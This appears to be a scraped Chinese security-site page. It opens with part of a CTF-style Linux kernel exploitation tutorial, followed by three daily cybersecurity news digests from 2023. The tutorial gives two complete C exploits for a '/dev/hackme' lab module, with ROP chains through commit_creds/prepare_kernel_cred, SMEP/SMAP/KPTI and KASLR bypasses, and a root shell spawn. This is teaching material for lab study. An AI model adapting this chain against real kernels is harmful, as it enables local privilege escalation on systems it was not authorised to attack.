x86架构中用于从内核态切换到用户态的汇编代码片段。这个函数的作用是在内核态执行完系统调用或中断处理程序后,恢复用户态进程的寄存器状态,并返回到用户态进程的执行点继续执行。 在内核中搜索该函数的地址 可以看到在该函数的内部存在修改CR3的操作,因此只需要调用该函数,就可以从内核空间的页表修改为用户空间的页表,但是该函数的起始位置会进行非常多的弹栈操作,如果直接使用很容易造成ROP链的空间不足,因此可以选择在swapgs_restore_regs_and_return_to_usermode + 0x16的位置开始执行。 在该函数后续的执行中,还会执行swapgs的指令,切换GS的寄存器,并且做一个绝对跳转到0xffffffff81200fco 在该地址的后续还存在这iretq的指令,因此该函数具备了所有的条件。 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; 0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 绕过SMAP SMAP则是防止在内核态时访问用户态的空间,此时使用swapgs_restore_regs_and_return_to_usermode函数也是完全可以绕过的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode构建的ROP链。 但是如果遇到长度不够时,就能够将栈迁移到用户空间上了,因为在开启SMAP保护的时候就没有办法访问用户空间。那么此时只能借助内核的其他空间进行栈迁移,该手法利用比较复杂,因此留到以后再介绍。 绕过KASLR KASLR与用户态下的ASLR差不多,都是开启了地址的随机化,因此不能使用绝对地址。 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep,+smap \    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 kaslr nofgkaslr kpti=1 quiet panic=1" \    -s 泄露内核地址 通过泄露内核的程序基地址,再加上函数的偏移即可绕过,与用户态下的利用没有区别。 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds -- [-3701815] 0xffffffff814c67f0 T prepare_kernel_cred -- [-3700823] 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; -- [12094139] 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; -- [-1958308] 0xffffffff81006370: pop rdi; ret; -- [-8682711] 0xffffffff8100a55f: swapgs; pop rbp; ret; -- [-8665832] 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; -- [494318] 0xffffffff814381cb: iretq; pop rbp; ret; -- [-4284028] 0xffffffff8150b97e: pop rsi; ret; -- [-3417801] 0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [-6607159] */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; unsigned long leak_addr = buf[10]; printf("leak addr:0x%lx\n", leak_addr); //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 0; payload[index++] = leak_addr - 3700823; //prepare_kernel_cred payload[index++] = leak_addr - 3417801; //pop_rsi_ret payload[index++] = 0; payload[index++] = leak_addr - 8682711; //pop_rdi_ret payload[index++] = 1; payload[index++] = leak_addr + 494318; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = leak_addr - 1958308; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = leak_addr - 3701815; //commit_creds; payload[index++] = leak_addr - 6607159 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); }
网络安全日报 2023年07月04日
1、研究人员发现恶意软件RUSTBUCKET的新变种 https://www.elastic.co/cn/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket 近期,研究人员发现了恶意软件RUSTBUCKET的新变种。RUSTBUCKET是一种针对macOS系统的恶意软件家族,该新变种增加了曾经未观察到的持久化功能,这反映了该恶意软件仍处于开发阶段,并且该变种在VirusTotal平台中未被任何引擎检测到。RUSTBUCKET新变种通过在“/Users//Library/LaunchAgents/com.apple.systemupdate.plist”路径中添加一个plist 2、攻击者利用DNS TXT记录传播恶意软件 https://asec.ahnlab.com/en/54916/ DNS TXT记录是一种功能,允许域管理员将文本输入到DNS中,最初被用于记录人类可读的注释,现在则用于显示保存在DNS中的各类信息,例如垃圾邮件防护、域所有权验证等。在近期的一封网络钓鱼邮件中,研究人员发现其附件中的PPAM文件中存在一段宏代码,执行一个PowerShell命令以运行nslookup工具查询DNS TXT记录。攻击者在其DNS TXT命令中上传了各种命令,当DNS TXT记录被查询时这些命令将得到执行,从而达到传播恶意软件的目的。 3、Nessus插件存在权限提升漏洞 https://cybersecuritynews.com/nessus-plugin-flaw/ Tenable开发的Nessus是一款流行的漏洞扫描工具。近期,安全研究人员发现该工具的一个插件中存在权限提升漏洞,攻击者可以在文件系统中的特定位置放置二进制文件,以滥用插件提升权限,此漏洞的CVSS评分为6.3。Tenable已针对该漏洞发布安全补丁,并且Java检测和识别插件已进行更新,以防止此权限提升漏洞被攻击者利用。 4、谷歌浏览器发布114版本修复多个安全漏洞 https://chromereleases.googleblog.com/2023/06/stable-channel-update-for-desktop_26.html 谷歌浏览器发布了适用于Windows系统的114.0.5798.198/199版本以及适用于Mac和Linux系统的114.0.5735.198版本更新,该更新修复了多个安全漏洞。这些安全漏洞被标记为CVE-2023-3420、CVE-2023-3421、CVE-2023-3422。谷歌建议用户尽快将浏览器更新到最新版本,并表示关于这些安全漏洞的详细信息在大多数用户进行更新前将受到限制。 5、美敦力Paceart Optima系统存在严重的RCE漏洞 https://global.medtronic.com/xg-en/product-security/security-bulletins/paceart-optima-system.html Paceart Optima是一款在Windows服务器上运行的应用程序,该程序从心脏监控设备中收集、存储和检索数据,以帮助实现标准的工作流程。美敦力在Paceart Optime系统中的可选消息传递功能中发现了一个漏洞,若医疗服务机构在该系统中启动该服务,则未经授权的攻击者可以利用此漏洞执行远程代码执行或发起拒绝服务攻击,从而导致数据被窃取、删除或篡改,并可能进行进一步的网络攻击。该漏洞存在于Pa 6、研究人员称MOVEit漏洞导致超过1600万人的信息泄露 https://therecord.media/data-of-sixteen-million-exposed-moveit 安全研究人员称,迄今为止,已有1600多万人的信息被黑客利用MOVEit软件中的漏洞进行访问,而这一数字可能只是其中的一小部分。自今年6月1日以来,安全专家就该漏洞发出警告,自此之后美国和欧洲的数十家大型组织机构透露他们受到了该漏洞的影响。一名持续跟踪此次事件的研究人员表示,目前已确认的受害组织机构至少有158个,其中只有11个组织透露了受此次漏洞影响的人数,受影响的总人数可能远多于目前所知人数。 7、Activate Healthcare证实其患者的数据信息遭到泄露 https://www.jdsupra.com/legalnews/activate-healthcare-notifies-patients-7697622/ Activate Healthcare是一家总部位于美国伊利诺伊州的医疗保健供应商,该公司近期证实未经授权的攻击者在2023年4月22日及28日访问其计算机系统,并证实攻击者从计算机系统中窃取了一些文件,其中包含患者的信息。被窃取的患者信息可能包括姓名、社会保险号码、出生日期、地址、驾照号码和临床信息等,该公司已向受到此次数据泄露影响的患者发出了通知。 8、研究人员发现一种绕过语音身份认证的方法 https://uwaterloo.ca/news/media/how-secure-are-voice-authentication-systems-really 安全研究人员发现了一种攻击方法,该方法可以成功绕过语音身份认证,只需6次尝试便可达到99%的成功率。该团队识别了deepfake音频中的由计算机生成的标记,并开发了一个程序删除这些标记,从而无法对其生成的音频和真实音频进行区分。在最近针对Amazon Connect语音认证系统的测试中,他们在一次4秒的攻击中取得了10%的成功率,而在不到30秒的时间内,成功率达到40%以上。针对一些不太复杂的语音认证系统,他们在进行6次尝试后便 9、基于Flutter的安卓恶意软件,瞄准东亚市场 https://thehackernews.com/2023/06/fluhorse-flutter-based-android-malware.html Fortinet FortiGuard实验室研究员Axelle Apvrille在上周发表的一份报告中说,这种恶意软件的出现代表了一种重大转变,因为它直接将恶意组件纳入Flutter代码中。 10、Pornhub被指控在欧洲非法收集数据 https://cybernews.com/privacy/pornhub-accused-of-illegal-data-collection-in-europe/ 意大利已对Pornhub提起诉讼,指控该平台收集并与未知第三方共享有关用户性偏好的信息。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年07月03日
1、20万个WordPress网站遭利用“Ultimate Member”插件漏洞的攻击 https://www.securityweek.com/200000-wordpress-sites-exposed-to-attacks-exploiting-flaw-in-ultimate-member-plugin/ 攻击者利用 Ultimate Member 插件中的关键漏洞在 WordPress 网站上创建管理帐户。 2、MITRE 更新了 CWE 25 个最危险的软件漏洞 https://www.securityweek.com/mitre-updates-cwe-top-25-most-dangerous-software-weaknesses/ 在 2023 年 CWE Top 25 列表中,释放后使用漏洞和操作系统命令注入漏洞位列前 5 位最危险的软件漏洞。 3、LockBit 勒索组织声称攻击了台积电,并索要 7000 万美元赎金 https://www.securityweek.com/tsmc-says-supplier-hacked-after-ransomware-group-claims-attack-on-chip-giant/ LockBit 勒索软件组织声称对台积电 (TSMC) 进行了黑客攻击,但这家芯片巨头表示,只有其一家供应商遭到入侵。 4、Avast 发布了针对 Windows 版本 Akira 勒索软件的免费解密器 https://securityaffairs.com/148007/cyber-crime/akira-ransomware-decryptor.html Avast 发布了 Akira 勒索软件的免费解密器,可以让受害者无需支付赎金即可恢复数据。 5、伊朗MuddyWater组织使用新型C2框架PhonyC2进行网络攻击 https://www.deepinstinct.com/blog/phonyc2-revealing-a-new-malicious-command-control-framework-by-muddywater 伊朗政府支持的网络间谍组织MuddyWater(又称Mango Sandstorm或Mercury)自2021年起使用了一个名为PhonyC2的新型命令与控制(C2)框架,用于对目标进行渗透和数据窃取。该框架是用Python 3编写的,与MuddyWater之前使用的MuddyC3框架2有很多相似之处,但也有一些改进和更新。PhonyC2框架可以动态生成PowerShell后门, 6、俄罗斯黑客组织通过付费招募志愿者发动DDoS攻击 https://blog.sekoia.io/following-noname05716-ddosia-projects-targets/ DoSia是一个由支持俄罗斯的黑客组织NoName057(16)发起的众包项目,旨在通过付费招募志愿者,对西方目标进行分布式拒绝服务(DDoS)攻击。 7、SAP披露多个严重漏洞,包括可自动传播的利用链 https://sec-consult.com/blog/detail/responsible-disclosure-of-an-exploit-chain-targeting-the-rfc-interface-implementation-in-sap-application-server-for-abap/ SAP是一家提供企业软件解决方案的公司,其产品广泛应用于各行各业。近日,SAP公布了多个影响其产品的严重漏洞,其中最引人关注的是一条可自动传播的利用链,涉及四个漏洞。这条利用链可以让攻击者在没有任何身份验证的情况下,远程执行任意代码,并在SAP系统之间进行横向移动。 8、npm生态系统存在巨大漏洞,可能导致代码执行和数据泄露 https://blog.vlt.sh/blog/the-massive-hole-in-the-npm-ecosystem npm是一个流行的JavaScript包管理器,用于安装和管理开发者所需的各种模块和依赖。然而,近日,一位前npm CLI团队的工程师发现了一个影响npm生态系统的巨大漏洞,可能导致任意代码执行和数据泄露。这个漏洞的根源在于npm处理包清单(package.json)文件的方式。包清单文件是一个描述包属性和依赖的JSON文件,通常包含一些元数据,例如包名、版本、作者、许可证等。然而,npm允许包清单文件中包含任意字段,而不进行任何验证或过滤。这就导致了一个安全问题,即 9、攻击者通过恶意广告传播BlackCat勒索软件 https://www.trendmicro.com/en_us/research/23/f/malvertising-used-as-entry-vector-for-blackcat-actors-also-lever.html 近期,安全研究人员发现攻击者伪造WinSCP的网页传播多种恶意软件,WinSCP是一个用于进行文件传输的开源Windows应用程序。此次攻击活动传播的恶意软件中包括BlackCat勒索软件,并且攻击者传播SpyBoy恶意软件以终止用户电脑中运行的反病毒安全产品。除此之外,攻击者还使用PuTTY传输收集的数据以达到数据泄露的目的。 10、研究人员发现活跃的代理劫持攻击活动 https://www.akamai.com/blog/security-research/proxyjacking-new-campaign-cybercriminal-side-hustle 研究人员发现了一个针对易受攻击的SSH服务器的代理劫持活动,通过代理劫持,攻击者不仅可以窃取资源,还能够利用受害者未使用的宽带以换取经济利益。此次攻击活动利用受感染的Web服务器传播必要的依赖项,检查受害服务器中是否存在竞品并进行终止,采用混淆技术以规避安全产品的检测。研究人员称,代理劫持已成为网络攻击者利用受感染设备获取经济利益的一种新的方式。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年06月30日
1、Arcserve UDP存在身份验证绕过漏洞利用代码公开 https://github.com/mdsecactivebreach/CVE-2023-26258-ArcServe Arcserve UDP是一种用于数据备份和恢复的软件,它支持多种平台和设备。近日,安全研究人员发现了Arcserve UDP的一个严重漏洞,编号为CVE-2023-26258,该漏洞允许攻击者绕过身份验证,执行任意命令,甚至完全控制受影响的系统。该漏洞影响了Arcserve UDP 7.0.0.0版本及以下,目前还没有官方的补丁或解决方案。安全研究人员已经在GitHub上公开了该漏洞的利用代码,提醒用户尽快升级或禁用Arcserve UDP服务,以防止被黑客攻击。 2、Microsoft Sysmon新增文件创建事件检测功能 https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-when-executables-files-are-created/ Microsoft Sysmon是一种Windows系统服务和设备驱动程序,它可以在系统重启后持续监控和记录系统活动到Windows事件日志中。它可以提供关于进程创建、网络连接、文件创建时间变化等方面的详细信息。最近,Microsoft Sysmon发布了14.14版本,新增了一个文件创建事件检测功能,该功能可以记录当一个文件被创建或覆盖时的相关信息,如文件名、路径、大 3、8Base勒索软件攻击美国和巴西企业 https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html 8Base是一种勒索软件组织,自2022年3月以来一直活跃,但在2023年6月出现了大幅的活动增长。8Base的攻击目标涵盖了多个行业,如商业服务、金融、制造和信息技术等。这个组织在其暗网泄露站上提供了受害者的详细信息,以及多种联系方式,包括Telegram频道和Twitter账号。8Base自称是“简单的渗透测试人员”,并使用“.8base”作为加密文件的扩展名。研究人员对8Base的勒索软件进行了分析,发现了一些有趣 4、手机监控应用 LetMeSpy 披露数据泄露事件 https://securityaffairs.com/147968/data-breach/letmespy-disclosed-security-breach.html 手机监控应用程序 LetMeSpy 披露了一个安全漏洞,威胁行为者窃取了与数千名 Android 用户相关的敏感数据,包括消息、位置、通话记录、电子邮件地址和电话号码。 5、美国专利商标局通知申请人长达数年的数据泄露 https://techcrunch.com/2023/06/28/uspto-trademark-data-api-leak/ 美国专利商标局 (USPTO) 在发给受影响商标申请人的通知中表示,他们的私人住所地址(通常是家庭住址)在 2020 年 2 月至 2023 年 3 月期间无意中出现在公共记录中。 6、WordPress 社交登录插件中的严重安全漏洞暴露了用户帐户 https://thehackernews.com/2023/06/critical-security-flaw-in-social-login.html miniOrange 的WordPress社交登录和注册插件中披露了一个严重的安全漏洞,该漏洞可能使恶意行为者能够在用户提供的任何有关电子邮件地址的信息已知的情况下进行登录。该身份验证绕过缺陷被追踪为 CVE-2023-2982(CVSS 评分:9.8),影响所有版本,包括 7.6.4 及之前的版本。该问题已于 2023 年 6 月 14 日得到解决,并于 2023 年 6 月 2 日负责任地披露后发布了 7.6.5 版本。 7、研究人员发现越流行的大语言模型越不安全 https://www.secrss.com/articles/56106 安全研究人员用OpenSSF记分卡对GitHub上50个最流行的生成式AI大语言模型项目的安全性进行了评估,结果发现越流行的大语言模型越危险。 8、新发现的基于 Windows 的恶意软件ThirdEye窃取敏感数据 https://thehackernews.com/2023/06/newly-uncovered-thirdeye-windows-based.html 一种名为ThirdEye的先前未记录的基于 Windows 的信息窃取程序已在野外被发现,具有从受感染主机获取敏感数据的能力。 9、报告称海底电缆遭受网络攻击的风险日益增加 https://www.infosecurity-magazine.com/news/submarine-cables-risk-cyber-attacks/ 一份新报告发现,海底通信电缆日益成为网络威胁行为者的目标,其事件可能会造成全球互联网的巨大破坏。 10、Linux 版本的 Akira 勒索软件针对 VMware ESXi 服务器 https://www.bleepingcomputer.com/news/security/linux-version-of-akira-ransomware-targets-vmware-esxi-servers Akira 勒索软件操作使用 Linux 加密器对 VMware ESXi 虚拟机进行加密,对全球各地的公司进行双重勒索攻击。Akira 首次 出现于 2023 年 3 月,针对各个行业的 Windows 系统,包括教育、金融、房地产、制造和咨询。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页